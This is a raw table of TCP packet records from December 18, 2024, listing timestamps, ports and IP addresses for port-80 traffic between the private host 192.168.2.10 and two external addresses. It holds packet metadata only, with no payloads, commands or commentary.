Dec 18, 2024 15:56:33.772294998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.773493052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.773564100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.773606062 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.773776054 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.774590969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.774632931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.774704933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.775872946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.775969028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.777100086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.777185917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.777246952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.777566910 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.778235912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.778296947 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.778377056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.779441118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.781652927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.866801977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.866868019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.866980076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.867085934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.867161989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.867852926 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.867856979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.867916107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.867959976 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.868432999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.868529081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.868608952 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.869153976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.869229078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.869286060 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.869874954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.869895935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.870518923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.870584011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.870661974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.870858908 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.871344090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.871501923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.871567965 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.871978045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.872097969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.872164965 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.872688055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.872814894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.872884035 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.873414040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.873518944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.873667002 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.874113083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.874219894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.874377012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.874854088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.874938965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.875022888 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.875577927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.875650883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.875703096 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.876270056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.876346111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.876447916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.876971006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.877059937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.877207041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.877733946 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.877793074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.877886057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.878391981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.878407955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.878454924 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.879125118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.879230976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.879820108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.879843950 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.879951954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.879992962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.880496025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.880635023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.881210089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.881277084 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.881331921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.881953955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.881992102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.882056952 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.882664919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.882782936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.882859945 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.883394003 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.883528948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.884135008 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.884177923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.884243011 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.884757042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.884886026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.885479927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.885545969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.885623932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.885871887 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.886182070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.886282921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.886723995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.887028933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.887253046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.887341976 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.887684107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.887764931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.887846947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.888375998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.888395071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.889173031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.889229059 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.889251947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.889811993 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.889864922 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.889902115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.890480042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.890502930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.890573978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.891185045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.891336918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.891840935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.891912937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.891992092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.892045975 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.892647982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.892777920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.892827988 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.893327951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.893416882 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.893470049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.894067049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.894169092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.894227982 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.894736052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.894896984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.895288944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.895447969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.895553112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.896434069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.896534920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.896626949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.896951914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.897033930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.897627115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.897702932 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.897793055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.897887945 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.898283958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.898399115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.899004936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.899100065 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.899101019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.899409056 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.899811983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.899832964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.899892092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.900428057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.900507927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.901156902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.901272058 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.901288033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.901314974 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.901806116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.901913881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.902539015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.902605057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.902668953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.903266907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.903341055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.903347015 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.903850079 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.903944969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.909220934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.909277916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.909915924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.910120010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.910218954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.910269022 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.911372900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.911540985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.911583900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.913028955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.913095951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.913141966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.913813114 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.914959908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.915069103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.915163040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.916024923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.916202068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.916879892 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.916944027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.916958094 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.917670012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.917711973 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.917748928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.918683052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.918935061 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.918962002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.920216084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.920272112 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.920285940 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.921257019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.921272039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.921319962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.922319889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.922451019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.922797918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.923516035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.923571110 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.924058914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.924520969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.924576044 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.924583912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.924707890 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.925448895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.925688982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.926537991 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.926604986 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.926654100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.927721977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.927833080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.927870989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.927891970 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.928680897 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.928769112 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.929933071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.929986000 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.930008888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.930037975 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.930908918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.931029081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.931216002 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.932053089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.932140112 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.932219982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.933279037 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.933346033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.933425903 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.934379101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.934484005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.935619116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.935669899 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.935710907 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.935754061 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.936770916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.936853886 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.936867952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.937973976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.938024998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.938129902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.939203024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.939263105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.939294100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.939836979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.940381050 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.940644979 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.940705061 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.941617966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.941703081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.941778898 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.942806005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.942852974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.942884922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.942924023 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.943994045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.944047928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.944123983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.945136070 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.945184946 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.945245028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.945857048 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.946377993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.946441889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.946500063 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.947588921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.947838068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.947886944 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.948750019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.948813915 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.948829889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.949992895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.950046062 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.950117111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.951162100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.951215982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.951245070 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.951853991 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.952307940 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.952353001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.952363014 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.952467918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.953382969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.953566074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.953669071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.954720020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.954840899 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.954849958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.956027031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.956116915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.956171989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.957518101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.957576990 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.957659006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.958614111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.958789110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.959602118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.959665060 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.959691048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.960709095 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.960758924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.960774899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.961899042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.961935997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.961952925 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.963154078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.963184118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.963201046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.963320017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.963373899 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.964304924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.964435101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.965549946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.965619087 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.965718985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.966511011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.966674089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.966871977 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.966887951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.967922926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.967969894 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.968044043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.969191074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.969223976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.969239950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.969891071 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.970379114 CET	80	49806	185.215.113.16	192.168.2.10
